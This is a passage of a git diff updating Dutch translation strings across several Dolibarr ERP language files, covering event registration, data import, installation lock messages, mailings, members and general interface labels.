Openbare link voor registratie alleen voor dit evenement MissingOrBadSecureKey = De beveiligingssleutel is ongeldig of ontbreekt -EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event : %s +EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event EvntOrgDuration = Deze conferentie begint op %s en eindigt op %s. ConferenceAttendeeFee = Conferentiebezoekerstarief voor het evenement: '%s' variërend van %s tot %s. BoothLocationFee = Standplaats voor het evenement : '%s' van %s tot %s EventType = Taak type LabelOfBooth=Booth label LabelOfconference=Conferentie label -ConferenceIsNotConfirmed=Registration not available, conference is not confirmed yet -DateMustBeBeforeThan=%s must be before %s -DateMustBeAfterThan=%s must be after %s +ConferenceIsNotConfirmed=Registratie niet beschikbaar, conferentie is nog niet bevestigd +DateMustBeBeforeThan=%s moet vóór %s zijn +DateMustBeAfterThan=%s moet na %s +MaxNbOfAttendeesReached=The maximum number of participants has been reached +NewSubscription=Registratie +OrganizationEventConfRequestWasReceived=Uw suggestie voor een conferentie is ontvangen +OrganizationEventBoothRequestWasReceived=Uw aanvraag voor een stand is ontvangen +OrganizationEventPaymentOfBoothWasReceived=Uw betaling voor uw stand is geregistreerd +OrganizationEventPaymentOfRegistrationWasReceived=Uw betaling voor uw evenementregistratie is geregistreerd +OrganizationEventBulkMailToAttendees=Dit is een herinnering aan uw deelname aan het evenement als deelnemer +OrganizationEventBulkMailToSpeakers=Dit is een herinnering aan je deelname aan het evenement als spreker +OrganizationEventLinkToThirdParty=Link naar derde partij (klant, leverancier of partner) +OrganizationEvenLabelName=Public name of the conference or booth -NewSubscription=Registration -OrganizationEventConfRequestWasReceived=Your suggestion for a conference has been received -OrganizationEventBoothRequestWasReceived=Your request for a booth has been received -OrganizationEventPaymentOfBoothWasReceived=Your payment for your booth has been recorded -OrganizationEventPaymentOfRegistrationWasReceived=Your payment for your event registration has been recorded -OrganizationEventBulkMailToAttendees=This is a remind about your participation in the event as an attendee -OrganizationEventBulkMailToSpeakers=This is a reminder on your participation in the event as a speaker -OrganizationEventLinkToThirdParty=Link to third party (customer, supplier or partner) - -NewSuggestionOfBooth=Application for a booth -NewSuggestionOfConference=Application for a conference +NewSuggestionOfBooth=Aanvraag voor een stand +NewSuggestionOfConference=Aanvraag voor een conferentie # # Vote page @@ -153,15 +158,17 @@ VoteOk = Uw stem is geaccepteerd. AlreadyVoted = Je hebt al op dit evenement gestemd. VoteError = Er is een fout opgetreden tijdens het stemmen, probeer het opnieuw. -SubscriptionOk = Your registration has been validated -ConfAttendeeSubscriptionConfirmation = Confirmation of your subscription to an event +SubscriptionOk=Your registration has been recorded +ConfAttendeeSubscriptionConfirmation = Bevestiging van uw inschrijving op een evenement Attendee = deelnemer PaymentConferenceAttendee = Conferentie deelnemer betaling PaymentBoothLocation = Standplaats betaling -DeleteConferenceOrBoothAttendee=Remove attendee -RegistrationAndPaymentWereAlreadyRecorder=A registration and a payment were already recorded for the email %s -EmailAttendee=Attendee email -EmailCompanyForInvoice=Company email (for invoice, if different of attendee email) -ErrorSeveralCompaniesWithEmailContactUs=Several companies with this email has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation -ErrorSeveralCompaniesWithNameContactUs=Several companies with this name has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation -NoPublicActionsAllowedForThisEvent=No public actions are open to public for this event +DeleteConferenceOrBoothAttendee=Deelnemer verwijderen +RegistrationAndPaymentWereAlreadyRecorder=Een registratie en een betaling waren al geregistreerd voor de e-mail %s +EmailAttendee=E-mailadres van deelnemer +EmailCompany=Company email +EmailCompanyForInvoice=Bedrijfse-mail (voor factuur, indien anders dan e-mailadres van deelnemer) +ErrorSeveralCompaniesWithEmailContactUs=Er zijn verschillende bedrijven met dit e-mailadres gevonden, dus we kunnen uw registratie niet automatisch valideren. Neem contact met ons op via %s voor een handmatige validatie +ErrorSeveralCompaniesWithNameContactUs=Er zijn verschillende bedrijven met deze naam gevonden, dus we kunnen uw registratie niet automatisch valideren. Neem contact met ons op via %s voor een handmatige validatie +NoPublicActionsAllowedForThisEvent=Er zijn geen openbare acties voor dit evenement toegankelijk +MaxNbOfAttendees=Max aantal deelnemers diff --git a/htdocs/langs/nl_NL/exports.lang b/htdocs/langs/nl_NL/exports.lang index e547a96ed86..35ef40e4212 100644 --- a/htdocs/langs/nl_NL/exports.lang +++ b/htdocs/langs/nl_NL/exports.lang @@ -18,6 +18,7 @@ ExportableFields=Exporteerbare velden ExportedFields=Geëxporteerde velden ImportModelName=Naam importeerprofiel ImportModelSaved=Profiel importeren opgeslagen als %s . +ImportProfile=Importeer profiel DatasetToExport=Te exporteren gegevensgroep DatasetToImport=Te importeren gegevensgroep ChooseFieldsOrdersAndTitle=Kies veld volgorde @@ -53,8 +54,9 @@ TypeOfLineServiceOrProduct=Type van de regel (0=product, 1=dienst) FileWithDataToImport=Bestand met te importeren gegevens FileToImport=Te importeren bronbestand FileMustHaveOneOfFollowingFormat=Het te importeren bestand moet een van de volgende indelingen hebben -DownloadEmptyExample=Download a template file with examples and information on fields you can import -StarAreMandatory=Into the template file, all fields with a * are mandatory fields +DownloadEmptyExampleShort=Download een voorbeeldbestand +DownloadEmptyExample=Download een sjabloonbestand met voorbeelden en informatie over velden die u kunt importeren +StarAreMandatory=In het sjabloonbestand zijn alle velden met een * verplichte velden ChooseFormatOfFileToImport=Kies de bestandsindeling die u als importbestandsindeling wilt gebruiken door op het pictogram %s te klikken om deze te selecteren ... ChooseFileToImport=Upload het bestand en klik vervolgens op het pictogram %s om het bestand te selecteren als bronimportbestand ... SourceFileFormat=Bestandsformaat van het bronbestand @@ -82,7 +84,7 @@ SelectFormat=Kies het importeerbestandsformaat RunImportFile=Data importeren NowClickToRunTheImport=Controleer de resultaten van de importsimulatie. Corrigeer eventuele fouten en test opnieuw.
      Wanneer de simulatie geen fouten meldt, kunt u doorgaan met het importeren van de gegevens in de database. DataLoadedWithId=De geïmporteerde gegevens hebben een extra veld in elke databasetabel met dit import-ID: %s , zodat deze doorzoekbaar is in het geval van een probleem met deze import. -ErrorMissingMandatoryValue=Verplichte gegevens zijn leeg in het bronbestand voor veld %s . +ErrorMissingMandatoryValue=Verplichte gegevens zijn leeg in het bronbestand in kolom %s . TooMuchErrors=Er zijn nog steeds %s andere bronregels met fouten, maar de uitvoer is beperkt. TooMuchWarnings=Er zijn nog steeds %s andere bronregels met waarschuwingen maar de uitvoer is beperkt. EmptyLine=Lege regel (wordt genegeerd) @@ -92,12 +94,12 @@ YouCanUseImportIdToFindRecord=U kunt alle geïmporteerde records in uw database NbOfLinesOK=Aantal regels zonder fouten of waarschuwingen: %s. NbOfLinesImported=Aantal regels succesvol geïmporteerd: %s. DataComeFromNoWhere=De waarde die ingevoegd moet worden komt nergens uit het bronbestand vandaan. -DataComeFromFileFieldNb=De in te voegen waarde komt uit het veldnummer %s in het bronbestand. -DataComeFromIdFoundFromRef=De waarde die afkomstig is van veldnummer %s van het bronbestand wordt gebruikt om de id van het te gebruiken bovenliggende object te vinden (dus het object %s met de referentie uit het bronbestand moet in de database bestaan). -DataComeFromIdFoundFromCodeId=Code die afkomstig is van veldnummer %s van het bronbestand wordt gebruikt om de id van het te gebruiken bovenliggende object te vinden (de code van het bronbestand moet dus bestaan in het woordenboek %s ). Merk op dat als u de id kent, u deze ook in het bronbestand kunt gebruiken in plaats van in de code. Importeren zou in beide gevallen moeten werken. +DataComeFromFileFieldNb=De in te voegen waarde komt uit kolom %s in het bronbestand. +DataComeFromIdFoundFromRef=The value that comes from the source file will be used to find the id of the parent object to use (so the object %s that has the ref. from source file must exist in the database). +DataComeFromIdFoundFromCodeId=The value of code that comes from source file will be used to find the id of the parent object to use (so the code from source file must exist in the dictionary %s). Note that if you know the id, you can also use it in the source file instead of the code. Import should work in both cases. DataIsInsertedInto=De gegevens uit het bronbestand worden ingevoegd in het volgende veld: -DataIDSourceIsInsertedInto=The id of the parent object, that was found using the data in the source file, will be inserted into the following field: -DataCodeIDSourceIsInsertedInto=The id of the parent line, that was found from code, will be inserted into the following field: +DataIDSourceIsInsertedInto=De id van het bovenliggende object, dat is gevonden met behulp van de gegevens in het bronbestand, wordt in het volgende veld ingevoegd: +DataCodeIDSourceIsInsertedInto=De id van de bovenliggende regel, die uit de code is gevonden, wordt in het volgende veld ingevoegd: SourceRequired=Gegevenswaarde is verplicht SourceExample=Voorbeeld van een mogelijke gegevens waarde ExampleAnyRefFoundIntoElement=Elke ref gevonden voor element %s @@ -132,9 +134,14 @@ FormatControlRule=Formaat besturingsregel ## imports updates KeysToUseForUpdates=Sleutel (kolom) om te gebruiken voor het bijwerken van bestaande gegevens NbInsert=Aantal ingevoegde regels: %s +NbInsertSim=Number of lines that will be inserted: %s NbUpdate=Aantal bijgewerkte regels: %s +NbUpdateSim=Number of lines that will be updated : %s MultipleRecordFoundWithTheseFilters=Meerdere records zijn gevonden met deze filters: %s StocksWithBatch=Voorraden en locatie (magazijn) van producten met batch- / serienummer -WarningFirstImportedLine=The first line(s) will not be imported with the current selection -NotUsedFields=Fields of database not used -SelectImportFieldsSource = Choose the source file fields you want to import and their target field in database by choosing the fields in each select boxes, or select a predefined import profile: +WarningFirstImportedLine=De eerste regel(s) worden niet geïmporteerd met de huidige selectie +NotUsedFields=Velden van database niet gebruikt +SelectImportFieldsSource = Kies de bronbestandsvelden die u wilt importeren en hun doelveld in de database door de velden in elk keuzevak te kiezen, of selecteer een vooraf gedefinieerd importprofiel: +MandatoryTargetFieldsNotMapped=Sommige verplichte doelvelden zijn niet toegewezen +AllTargetMandatoryFieldsAreMapped=Alle doelvelden die een verplichte waarde nodig hebben, zijn toegewezen +ResultOfSimulationNoError=Resultaat van simulatie: Geen fout diff --git a/htdocs/langs/nl_NL/install.lang b/htdocs/langs/nl_NL/install.lang index e73a3129bdd..ae5028dd6ac 100644 --- a/htdocs/langs/nl_NL/install.lang +++ b/htdocs/langs/nl_NL/install.lang @@ -51,7 +51,6 @@ DatabaseName=Databasenaam DatabasePrefix=Voorvoegsel databasetabel DatabasePrefixDescription=Voorvoegsel databasetabel. Indien leeg, standaard ingesteld op llx_. AdminLogin=Gebruikersaccount voor de eigenaar van de Dolibarr-database. -PasswordAgain=Bevestig het wachtwoord opnieuw AdminPassword=Wachtwoord voor de database eigenaar. CreateDatabase=Creëer database CreateUser=Maak een gebruikersaccount of verleen gebruikersaccountrechten op de Dolibarr-database @@ -89,7 +88,7 @@ LoginAlreadyExists=Bestaat al DolibarrAdminLogin=Login van de Dolibarr beheerder AdminLoginAlreadyExists=Dolibarr-beheerdersaccount ' %s ' bestaat al. Ga terug als je nog een wilt maken. FailedToCreateAdminLogin=Aanmaken Dolibarr administrator account niet geslaagd. -WarningRemoveInstallDir=Waarschuwing, om veiligheidsredenen moet u, zodra de installatie of upgrade is voltooid, een bestand met de naam install.lock toevoegen aan de Dolibarr-documentmap om opnieuw per ongeluk / kwaadwillig gebruik van de installatiehulpmiddelen te voorkomen. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=Niet beschikbaar in deze PHP ChoosedMigrateScript=Kies het migratiescript DataMigration=Database migratie (gegevens) @@ -209,7 +208,12 @@ HideNotAvailableOptions=Niet-beschikbare opties verbergen ErrorFoundDuringMigration=Er zijn fouten gemeld tijdens het migratieproces, dus de volgende stap is niet beschikbaar. Om fouten te negeren, kunt u hier klikken , maar de toepassing of sommige functies werken mogelijk niet correct totdat de fouten zijn opgelost. YouTryInstallDisabledByDirLock=De toepassing probeerde zelf te upgraden, maar de installatie- / upgradepagina's zijn om veiligheidsredenen uitgeschakeld (map hernoemd met .lock-achtervoegsel).
      YouTryInstallDisabledByFileLock=De applicatie probeerde zelf te upgraden, maar de installatie / upgrade-pagina's zijn om veiligheidsredenen uitgeschakeld (door het bestaan van een slotbestand install.lock in de dolibarr-documentenmap).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=Klik hier om naar uw toepassing te gaan ClickOnLinkOrRemoveManualy=Even geduld als er een upgrade wordt uitgevoerd. Is dit klaar, klik dan op de volgende link. Als u altijd dezelfde pagina ziet, moet u het bestand install.lock in de documentenmap verwijderen / hernoemen. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=Geladen FunctionTest=Functietest +NodoUpgradeAfterDB=No action requested by external modules after upgrade of database +NodoUpgradeAfterFiles=No action requested by external modules after upgrade of files or directories +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/nl_NL/interventions.lang b/htdocs/langs/nl_NL/interventions.lang index 431c1208a5e..9fc833878f2 100644 --- a/htdocs/langs/nl_NL/interventions.lang +++ b/htdocs/langs/nl_NL/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Verbergt uren en minuten uit het datumveld voor in InterventionStatistics=Interventie statistieken NbOfinterventions=Aantal interventiekaarten NumberOfInterventionsByMonth=Aantal interventiekaarten per maand (datum van validatie) -AmountOfInteventionNotIncludedByDefault=Het bedrag voor interventie is niet standaard opgenomen in de winst (in de meeste gevallen worden de urenstaten gebruikt om de bestede tijd te tellen). Voeg optie PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT toe aan 1 in home-setup-diversen om ze op te nemen. +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=Interventie ID InterRef=Interventie ref. InterDateCreation=Aanmaakdatum interventie @@ -66,3 +66,7 @@ RepeatableIntervention=Sjabloon voor interventie ToCreateAPredefinedIntervention=Als u een vooraf gedefinieerde of terugkerende interventie wilt maken, maakt u een gemeenschappelijke interventie en converteert u deze naar een interventiesjabloon ConfirmReopenIntervention=Weet u zeker dat u de interventie %s weer wilt openen? GenerateInter=Genereer interventie +FichinterNoContractLinked=Interventie %s is gemaakt zonder een gekoppeld contract. +ErrorFicheinterCompanyDoesNotExist=Bedrijf bestaat niet. Interventie is niet gemaakt. +NextDateToIntervention=Date for next intervention generation +NoIntervention=No intervention diff --git a/htdocs/langs/nl_NL/loan.lang b/htdocs/langs/nl_NL/loan.lang index bd45d83e6fc..2114b296428 100644 --- a/htdocs/langs/nl_NL/loan.lang +++ b/htdocs/langs/nl_NL/loan.lang @@ -28,7 +28,7 @@ CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with CantModifyInterestIfScheduleIsUsed = U kunt de rente niet wijzigen indien u een schema gebruikt # Admin ConfigLoan=Configuratie van de module lening -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Standaard grootboekrekening kapitaal -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Standaard grootboekrekening rente -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Standaard grootboekrekening verzekeringen +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=Bewerk financiële betrokkenheid diff --git a/htdocs/langs/nl_NL/mailmanspip.lang b/htdocs/langs/nl_NL/mailmanspip.lang index 32dbb54e7bd..8627dff684d 100644 --- a/htdocs/langs/nl_NL/mailmanspip.lang +++ b/htdocs/langs/nl_NL/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Test abonneren succesvol uitgevoerd MailmanDeletionSuccess=Test afmelden abonnement succesvol SynchroMailManEnabled=Een update van Mailman zal uitgevoerd worden SynchroSpipEnabled=Een update van SPIP zal uitgevoerd worden -DescADHERENT_MAILMAN_ADMINPW=Mailman administrator paswoord +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman administrator paswoord DescADHERENT_MAILMAN_URL=URL voor het inschrijven op Mailman DescADHERENT_MAILMAN_UNSUB_URL=URL voor het uitschrijven op Mailman DescADHERENT_MAILMAN_LISTS=Lijst(en) voor automatische registratie van nieuwe leden (gescheiden door een komma) diff --git a/htdocs/langs/nl_NL/mails.lang b/htdocs/langs/nl_NL/mails.lang index 9340dc48ad4..d33ba58876c 100644 --- a/htdocs/langs/nl_NL/mails.lang +++ b/htdocs/langs/nl_NL/mails.lang @@ -7,10 +7,10 @@ MailCard=E-Mailings kaart MailRecipients=Ontvangers MailRecipient=Ontvanger MailTitle=Titel -MailFrom=Afzender +MailFrom=Van MailErrorsTo=Fouten naar MailReply=Antwoorden naar -MailTo=Ontvanger(s) +MailTo=Voor MailToUsers=Aan gebruiker(s) MailCC=Kopieën aan (cc) MailToCCUsers=Kopiëren naar gebruiker(s) @@ -60,7 +60,7 @@ EMailTestSubstitutionReplacedByGenericValues=Bij het gebruik van de testmodus, w MailingAddFile=Voeg dit bestand bij NoAttachedFiles=Geen bijgevoegde bestanden BadEMail=Onjuiste waarde voor e-mail -EMailNotDefined=Email not defined +EMailNotDefined=E-mail niet gedefinieerd ConfirmCloneEMailing=Weet u zeker dat u deze e-mailing wilt klonen? CloneContent=Kloon bericht CloneReceivers=Kloon ontvangers @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contacten per positie MailingModuleDescEmailsFromFile=E-mails uit bestand MailingModuleDescEmailsFromUser=E-mails door gebruiker opgemaakt MailingModuleDescDolibarrUsers=Gebruikers met e-mails -MailingModuleDescThirdPartiesByCategories=Derden (op categorieën) +MailingModuleDescThirdPartiesByCategories=Derde partijen SendingFromWebInterfaceIsNotAllowed=Verzenden vanuit de web interface is niet toegestaan. EmailCollectorFilterDesc=Alle filters moeten overeenkomen om een e-mail te kunnen verzamelen @@ -163,8 +163,8 @@ AdvTgtDeleteFilter=Verwijder filter AdvTgtSaveFilter=Bewaar filter AdvTgtCreateFilter=Creëer filter AdvTgtOrCreateNewFilter=Naam nieuwe filter -NoContactWithCategoryFound=No category found linked to some contacts/addresses -NoContactLinkedToThirdpartieWithCategoryFound=No category found linked to some thirdparties +NoContactWithCategoryFound=Geen categorie gevonden gekoppeld aan sommige contacten/adressen +NoContactLinkedToThirdpartieWithCategoryFound=Geen categorie gevonden gekoppeld aan sommige derde partijen OutGoingEmailSetup=Uitgaande e-mail InGoingEmailSetup=Inkomende e-mail OutGoingEmailSetupForEmailing=Uitgaande e-mailinstellingen (voor module %s) @@ -176,5 +176,7 @@ Answered=Beantwoord IsNotAnAnswer=Is geen antwoord (initiële e-mail) IsAnAnswer=Is een antwoord van een initiële e-mail RecordCreatedByEmailCollector=Record aangemaakt door de E-mail Collector %s van e-mail %s -DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact +DefaultBlacklistMailingStatus=Standaardwaarde voor veld '%s' bij het aanmaken van een nieuw contact DefaultStatusEmptyMandatory=Leeg maar verplicht +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/nl_NL/main.lang b/htdocs/langs/nl_NL/main.lang index d07f0299a3f..870b6d040b6 100644 --- a/htdocs/langs/nl_NL/main.lang +++ b/htdocs/langs/nl_NL/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=, @@ -28,6 +34,7 @@ NoTemplateDefined=Geen sjabloon beschikbaar voor dit e-mailtype AvailableVariables=Beschikbare substitutievariabelen NoTranslation=Geen vertaling Translation=Vertaling +Translations=Translations CurrentTimeZone=Tijdzone PHP (server) EmptySearchString=Vul geen lege zoekcriteria in EnterADateCriteria=Voer een datum criterium in @@ -199,6 +206,7 @@ Valid=Geldig Approve=Goedkeuren Disapprove=Afkeuren ReOpen=Heropenen +OpenVerb=Open Upload=Uploaden ToLink=Link Select=Selecteer @@ -216,8 +224,9 @@ UserGroup=Gebruikersgroep UserGroups=Gebruikersgroepen NoUserGroupDefined=Geen gebruikersgroep gedefinieerd Password=Wachtwoord -PasswordRetype=Herhaal uw wachtwoord +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Let op, veel functionaliteiten / modules zijn uitgeschakeld in deze demonstratie. +YourUserFile=Your user file Name=Naam NameSlashCompany=Naam / Bedrijf Person=Persoon @@ -481,6 +490,7 @@ ActionsOnContact=Evenementen voor dit contact / adres ActionsOnContract=Evenementen voor dit contract ActionsOnMember=Events over dit lid ActionsOnProduct=Evenementen in dit product +ActionsOnAsset=Events for this fixed asset NActionsLate=%s is laat ToDo=Te doen Completed=Voltooid @@ -888,6 +898,9 @@ MassFilesArea=Omgeving voor bestanden die zijn gebouwd met massa-acties ShowTempMassFilesArea=Toon gebied van bestanden gebouwd door massale acties ConfirmMassDeletion=Bevestiging bulk verwijdering ConfirmMassDeletionQuestion=Weet u zeker dat u de %s geselecteerde record (s) wilt verwijderen? +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=Gerelateerde objecten ClassifyBilled=Classificeer als gefactureerd ClassifyUnbilled=Classificeer ongevuld @@ -903,8 +916,8 @@ ExportFilteredList=Exporteren gefilterde lijst ExportList=Exporteer lijst ExportOptions=Exporteeropties IncludeDocsAlreadyExported=Inclusief reeds geëxporteerde documenten -ExportOfPiecesAlreadyExportedIsEnable=Export van reeds geëxporteerde stukken is mogelijk -ExportOfPiecesAlreadyExportedIsDisable=Export van reeds geëxporteerde stukken is uitgeschakeld +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=Alle geëxporteerde bewegingen werden geregistreerd als geëxporteerd NotAllExportedMovementsCouldBeRecordedAsExported=Niet alle geëxporteerde bewerkingen kunnen worden geregistreerd als geëxporteerd Miscellaneous=Diversen @@ -921,6 +934,7 @@ DirectDownloadInternalLink=Privé downloadlink PrivateDownloadLinkDesc=Je moet ingelogd zijn en je hebt rechten nodig om het bestand te bekijken of te downloaden Download=Downloaden DownloadDocument=Download document +DownloadSignedDocument=Download signed document ActualizeCurrency=Bijwerken valutakoers Fiscalyear=Boekjaar ModuleBuilder=Module- en applicatie ontwikkelomgeving @@ -1046,6 +1060,7 @@ SearchIntoContracts=Contracten SearchIntoCustomerShipments=Klantzendingen SearchIntoExpenseReports=Onkostennota's SearchIntoLeaves=Vertrekken +SearchIntoKM=Knowledge base SearchIntoTickets=Tickets SearchIntoCustomerPayments=Betalingen door klanten SearchIntoVendorPayments=Leveranciersbetalingen @@ -1117,6 +1132,7 @@ DeleteFileText=Weet u zeker dat u dit bestand wilt verwijderen? ShowOtherLanguages=Toon andere talen SwitchInEditModeToAddTranslation=Schakel in de bewerkingsmodus om vertalingen voor deze taal toe te voegen NotUsedForThisCustomer=Niet gebruikt voor deze klant +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=Bedrag moet positief zijn ByStatus=Op status InformationMessage=Informatie @@ -1137,15 +1153,29 @@ EventReminder=Herinnering voor evenement UpdateForAllLines=Update voor alle lijnen OnHold=In de wacht Civility=Beleefdheid -AffectTag=Heeft invloed op de tag +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=Externe gebruiker aanmaken -ConfirmAffectTag=invloed op bulk-tag -ConfirmAffectTagQuestion=Weet u zeker dat u tags wilt beïnvloeden voor de %s geselecteerde record (s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=Geen tag-soort gevonden voor type records +Rate=Tarief +SupervisorNotFound=Supervisor not found CopiedToClipboard=Gekopieerd naar het klembord InformationOnLinkToContract=Dit bedrag is alleen het totaal van alle regels van het contract. Er wordt geen rekening gehouden met tijd. ConfirmCancel=Weet je zeker dat je dit wilt annuleren EmailMsgID=E-mail MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Zet aan. SetToDisabled=Zet uit. ConfirmMassEnabling=Bevestig het aanzetten @@ -1174,9 +1204,21 @@ Terminated=Verwijderd AddLineOnPosition=Lijn op positie toevoegen (aan het einde indien leeg) ConfirmAllocateCommercial=Bevestiging van verkoopvertegenwoordiger toewijzen ConfirmAllocateCommercialQuestion=Weet u zeker dat u de geselecteerde record(s) %s wilt toewijzen? -CommercialsAffected=Betrokken verkoopvertegenwoordigers -CommercialAffected=Betrokken verkoopvertegenwoordiger +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Uw bericht YourMessageHasBeenReceived=Je bericht is ontvangen. We zullen zo snel mogelijk antwoorden of contact met je opnemen. UrlToCheck=URL om te controleren Automation=Automatisering +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Interne gebruiker +ExternalUser=Externe gebruiker +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/nl_NL/members.lang b/htdocs/langs/nl_NL/members.lang index 7aad6d87357..051fe88c825 100644 --- a/htdocs/langs/nl_NL/members.lang +++ b/htdocs/langs/nl_NL/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Een ander lid (naam: %s, login: %s ErrorUserPermissionAllowsToLinksToItselfOnly=Om veiligheidsredenen, moeten aan u rechten worden verleend voor het bewerken van alle gebruikers om in staat te zijn een lid te koppelen aan een gebruiker die niet van u is. SetLinkToUser=Link aaneen Dolibarr gebruiker SetLinkToThirdParty=Link naar een derde partij in Dolibarr +MemberCountersArePublic=Counters of valid members are public MembersCards=Genereren van lidkaarten MembersList=Ledenlijst MembersListToValid=Lijst van conceptleden (te valideren) @@ -34,7 +35,8 @@ DateSubscription=Startdatum lidmaatschap DateEndSubscription=Einddatum lidmaatschap EndSubscription=Einde lidmaatschap SubscriptionId=Bijdrage ID -WithoutSubscription=Zonder bijdrage +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=Nieuw lid @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=Lid kan niet worden verwijderd NewSubscription=Nieuwe bijdrage NewSubscriptionDesc=Met dit formulier kunt u lid worden van de vereniging. Als u uw lidmaatschap wilt verlengen (indien u al lid bent), kunt u contact opnemen met het bestuur via e-mail %s. Subscription=Bijdrage +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Any amount +CanEditAmountShortForValues=recommended, any amount +MembershipDuration=Duur +GetMembershipButtonLabel=Join Subscriptions=Bijdragen SubscriptionLate=Laat SubscriptionNotReceived=Bijdrage nooit ontvangen @@ -136,7 +144,7 @@ CardContent=Inhoud van uw lidmaatschapskaart # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=We willen je laten weten dat je lidmaatschapsverzoek is ontvangen.

      ThisIsContentOfYourMembershipWasValidated=We willen u laten weten dat uw lidmaatschap is gevalideerd met de volgende informatie:

      -ThisIsContentOfYourSubscriptionWasRecorded=We willen u laten weten dat uw nieuwe abonnement is toegevoegd.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=We willen je laten weten dat je abonnement bijna verloopt of al is verlopen (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). We hopen dat je het zult vernieuwen.

      ThisIsContentOfYourCard=Dit is een samenvatting van de informatie die we over u hebben. Neem contact met ons op als er iets niet klopt.

